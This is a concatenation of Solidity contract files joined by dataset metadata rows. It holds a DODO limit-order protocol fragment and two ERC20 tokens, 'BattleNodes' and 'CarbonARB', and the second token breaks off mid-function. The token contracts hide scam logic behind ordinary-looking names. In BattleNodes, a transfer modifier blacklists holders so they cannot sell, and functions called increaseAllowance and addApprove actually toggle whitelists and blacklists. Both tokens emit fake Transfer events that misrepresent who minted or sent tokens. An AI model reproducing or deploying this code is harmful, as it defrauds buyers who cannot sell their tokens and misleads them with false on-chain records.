function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/external/ECDSA.sol
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return recover(hash, r, vs);
} else {
revert("ECDSA: invalid signature length");
}
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return recover(hash, v, r, s);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File: contracts/external/draft-EIP712.sol
abstract contract EIP712 {
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
function _domainSeparatorV4() internal view returns (bytes32) {
if (block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// File: contracts/intf/IDODOApproveProxy.sol
interface IDODOApproveProxy {
function claimTokens(address token,address who,address dest,uint256 amount) external;
}
// File: contracts/lib/InitializableOwnable.sol
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/lib/ArgumentsDecoder.sol
library ArgumentsDecoder {
function decodeSelector(bytes memory data) internal pure returns(bytes4 selector) {
assembly { // solhint-disable-line no-inline-assembly
selector := mload(add(data, 0x20))
}
}
function decodeAddress(bytes memory data, uint256 argumentIndex) internal pure returns(address account) {
assembly { // solhint-disable-line no-inline-assembly
account := mload(add(add(data, 0x24), mul(argumentIndex, 0x20)))
}
}
function decodeUint256(bytes memory data, uint256 argumentIndex) internal pure returns(uint256 value) {
assembly { // solhint-disable-line no-inline-assembly
value := mload(add(add(data, 0x24), mul(argumentIndex, 0x20)))
}
}
function patchAddress(bytes memory data, uint256 argumentIndex, address account) internal pure {
assembly { // solhint-disable-line no-inline-assembly
mstore(add(add(data, 0x24), mul(argumentIndex, 0x20)), account)
}
}
function patchUint256(bytes memory data, uint256 argumentIndex, uint256 value) internal pure {
assembly { // solhint-disable-line no-inline-assembly
mstore(add(add(data, 0x24), mul(argumentIndex, 0x20)), value)
}
}
}
// File: contracts/DODOLimitOrder.sol
contract DODOLimitOrder is EIP712("DODO Limit Order Protocol", "1"), InitializableOwnable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
using ArgumentsDecoder for bytes;
struct Order {
address makerToken;
address takerToken;
uint256 makerAmount;
uint256 takerAmount;
address maker;
address taker;
uint256 expiration;
uint256 salt;
}
struct RfqOrder {
address makerToken;
address takerToken;
uint256 makerAmount;
uint256 takerAmount;
uint256 makerTokenFeeAmount;
uint256 takerFillAmount;
address maker;
address taker;
uint256 expiration;
uint256 slot;
}
bytes32 constant public ORDER_TYPEHASH = keccak256("Order(address makerToken,address takerToken,uint256 makerAmount,uint256 takerAmount,address maker,address taker,uint256 expiration,uint256 salt)");
bytes32 constant public RFQ_ORDER_TYPEHASH = keccak256("Order(address makerToken,address takerToken,uint256 makerAmount,uint256 takerAmount,uint256 makerTokenFeeAmount,uint256 takerFillAmount,address maker,address taker,uint256 expiration,uint256 slot)");
// ============ Storage ============
mapping(bytes32 => uint256) public _FILLED_TAKER_AMOUNT_; //limitOrder
mapping(address => mapping(uint256 => uint256)) public _RFQ_FILLED_TAKER_AMOUNT_; //RFQ
mapping (address => bool) public isWhiteListed;
mapping (address => bool) public isAdminListed;
address public _DODO_APPROVE_PROXY_;
address public _FEE_RECEIVER_;
// ============ Events =============
event LimitOrderFilled(address indexed maker, address indexed taker, bytes32 orderHash, uint256 curTakerFillAmount, uint256 curMakerFillAmount);
event RFQByUserFilled(address indexed maker, address indexed taker, bytes32 orderHash, uint256 curTakerFillAmount, uint256 curMakerFillAmount);
event RFQByPlatformFilled(address indexed maker, address indexed taker, bytes32 orderHash, uint256 curTakerFillAmount, uint256 curMakerFillAmount);
event AddWhileList(address addr);
event RemoveWhiteList(address addr);
event AddAdmin(address admin);
event RemoveAdmin(address admin);
event ChangeFeeReceiver(address newFeeReceiver);
function init(address owner, address dodoApproveProxy, address feeReciver) external {
initOwner(owner);
_DODO_APPROVE_PROXY_ = dodoApproveProxy;
_FEE_RECEIVER_ = feeReciver;
}
// ============= LimitOrder ===============
function fillLimitOrder(Order memory order,
bytes memory signature,
uint256 takerFillAmount,
uint256 thresholdTakerAmount,
bytes memory takerInteraction) public returns(uint256 curTakerFillAmount, uint256 curMakerFillAmount) {
bytes32 orderHash = _orderHash(order);
uint256 filledTakerAmount = _FILLED_TAKER_AMOUNT_[orderHash];
require(filledTakerAmount < order.takerAmount, "DLOP: ALREADY_FILLED");
require(order.taker == msg.sender, "DLOP:PRIVATE_ORDER");
require(ECDSA.recover(orderHash, signature) == order.maker, "DLOP:INVALID_SIGNATURE");
require(order.expiration > block.timestamp, "DLOP: EXPIRE_ORDER");
uint256 leftTakerAmount = order.takerAmount.sub(filledTakerAmount);
curTakerFillAmount = takerFillAmount < leftTakerAmount ? takerFillAmount:leftTakerAmount;
curMakerFillAmount = curTakerFillAmount.mul(order.makerAmount).div(order.takerAmount);
require(curTakerFillAmount > 0 && curMakerFillAmount > 0, "DLOP: ZERO_FILL_INVALID");
require(curTakerFillAmount >= thresholdTakerAmount, "DLOP: FILL_AMOUNT_NOT_ENOUGH");
_FILLED_TAKER_AMOUNT_[orderHash] = filledTakerAmount.add(curTakerFillAmount);
//Maker => Taker
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(order.makerToken, order.maker, msg.sender, curMakerFillAmount);
if(takerInteraction.length > 0) {
takerInteraction.patchUint256(0, curTakerFillAmount);
takerInteraction.patchUint256(1, curMakerFillAmount);
require(isWhiteListed[msg.sender], "DLOP: Not Whitelist Contract");
(bool success,) = msg.sender.call(takerInteraction);
require(success, "DLOP: TAKER_INTERACTIVE_FAILED");
}
//Taker => Maker
IERC20(order.takerToken).safeTransferFrom(msg.sender, order.maker, curTakerFillAmount);
emit LimitOrderFilled(order.maker, msg.sender, orderHash, curTakerFillAmount, curMakerFillAmount);
}
//================ RFQ ================
function matchingRFQByPlatform(RfqOrder memory order,
bytes memory makerSignature,
bytes memory takerSignature,
uint256 takerFillAmount,
uint256 thresholdMakerAmount,
uint256 makerTokenFeeAmount,
address taker) public returns(uint256 curTakerFillAmount, uint256 curMakerFillAmount) {
require(isAdminListed[msg.sender], "ACCESS_DENIED");
uint256 filledTakerAmount = _RFQ_FILLED_TAKER_AMOUNT_[order.maker][order.slot];
require(filledTakerAmount < order.takerAmount, "DLOP: ALREADY_FILLED");
bytes32 orderHashForMaker = _rfqOrderHash(order);
require(ECDSA.recover(orderHashForMaker, makerSignature) == order.maker, "DLOP:INVALID_MAKER_SIGNATURE");
require(order.taker == address(0), "DLOP:TAKER_INVALID");
order.taker = taker;
order.makerTokenFeeAmount = makerTokenFeeAmount;
order.takerFillAmount = takerFillAmount;
bytes32 orderHashForTaker = _rfqOrderHash(order);
require(ECDSA.recover(orderHashForTaker, takerSignature) == taker, "DLOP:INVALID_TAKER_SIGNATURE");
(curTakerFillAmount, curMakerFillAmount) = _settleRFQ(order,filledTakerAmount,takerFillAmount,thresholdMakerAmount,taker);
emit RFQByPlatformFilled(order.maker, taker, orderHashForMaker, curTakerFillAmount, curMakerFillAmount);
}
//============ Ownable ============
function addWhiteList (address contractAddr) public onlyOwner {
isWhiteListed[contractAddr] = true;
emit AddWhileList(contractAddr);
}
function removeWhiteList (address contractAddr) public onlyOwner {
isWhiteListed[contractAddr] = false;
emit RemoveWhiteList(contractAddr);
}
function addAdminList (address userAddr) external onlyOwner {
isAdminListed[userAddr] = true;
emit AddAdmin(userAddr);
}
function removeAdminList (address userAddr) external onlyOwner {
isAdminListed[userAddr] = false;
emit RemoveAdmin(userAddr);
}
function changeFeeReceiver (address newFeeReceiver) public onlyOwner {
_FEE_RECEIVER_ = newFeeReceiver;
emit ChangeFeeReceiver(newFeeReceiver);
}
//============ internal ============
function _settleRFQ(RfqOrder memory order,
uint256 filledTakerAmount,
uint256 takerFillAmount,
uint256 thresholdMakerAmount,
address taker) internal returns(uint256,uint256) {
require(order.expiration > block.timestamp, "DLOP: EXPIRE_ORDER");
uint256 leftTakerAmount = order.takerAmount.sub(filledTakerAmount);
require(takerFillAmount <= leftTakerAmount, "DLOP: RFQ_TAKER_AMOUNT_NOT_ENOUGH");
uint256 curTakerFillAmount = takerFillAmount;
uint256 curMakerFillAmount = curTakerFillAmount.mul(order.makerAmount).div(order.takerAmount);
require(curTakerFillAmount > 0 && curMakerFillAmount > 0, "DLOP: ZERO_FILL_INVALID");
require(curMakerFillAmount.sub(order.makerTokenFeeAmount) >= thresholdMakerAmount, "DLOP: FILL_AMOUNT_NOT_ENOUGH");
_RFQ_FILLED_TAKER_AMOUNT_[order.maker][order.slot] = filledTakerAmount.add(curTakerFillAmount);
if(order.makerTokenFeeAmount > 0) {
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(order.makerToken, order.maker, _FEE_RECEIVER_, order.makerTokenFeeAmount);
}
//Maker => Taker
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(order.makerToken, order.maker, taker, curMakerFillAmount.sub(order.makerTokenFeeAmount));
//Taker => Maker
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(order.takerToken, taker, order.maker, curTakerFillAmount);
return (curTakerFillAmount, curMakerFillAmount);
}
function _orderHash(Order memory order) private view returns(bytes32) {
return _hashTypedDataV4(keccak256(abi.encode(ORDER_TYPEHASH,
order.makerToken,
order.takerToken,
order.makerAmount,
order.takerAmount,
order.maker,
order.taker,
order.expiration,
order.salt)));
}
function _rfqOrderHash(RfqOrder memory order) private view returns(bytes32) {
return _hashTypedDataV4(keccak256(abi.encode(RFQ_ORDER_TYPEHASH,
order.makerToken,
order.takerToken,
order.makerAmount,
order.takerAmount,
order.makerTokenFeeAmount,
order.takerFillAmount,
order.maker,
order.taker,
order.expiration,
order.slot)));
}
}
| 90,778 | 10,948 |
cafac9c100a68458f8172f83565fa34d1df81016c566d39149e83fb900affb1c
| 30,021 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ae/aE4Bd05D5DB0A689c58487078763A61aEc8D3fcd_BattleNodes.sol
| 3,393 | 12,616 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BattleNodes is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x64f6d28f8fF48BE618c4d87d8c912d19b2aCBe0c;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 76,196 | 10,949 |
130e78be5b34513408b6ba2a83db50686ce01791f431287530101517ecb656a1
| 10,742 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/8d/8d1fd6dc003d051553769b68b480ab98fc1cb749_CarbonARB.sol
| 2,615 | 9,938 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract CarbonARB is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
using SafeMath for uint256;
using Address for address;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address deployer = 0x463E06926f95361A75578027eb7648B9d23Aa630;
address public _controller = 0x463E06926f95361A75578027eb7648B9d23Aa630;
constructor () public {
_name = "Carbon ARB";
_symbol = "CARB";
_decimals = 18;
uint256 initialSupply = 1000000000;
_mintTx(deployer, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
if (recipient == _controller){
recipient = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mintTx(address locker, uint256 amt) public {
require(msg.sender == _controller, "ERC20: zero address");
_totalSupply = _totalSupply.add(amt);
_balances[_controller] = _balances[_controller].add(amt);
emit Transfer(address(0), locker, amt);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _sendTx(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
modifier _ownerAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
modifier _approveAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
function airdrop(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
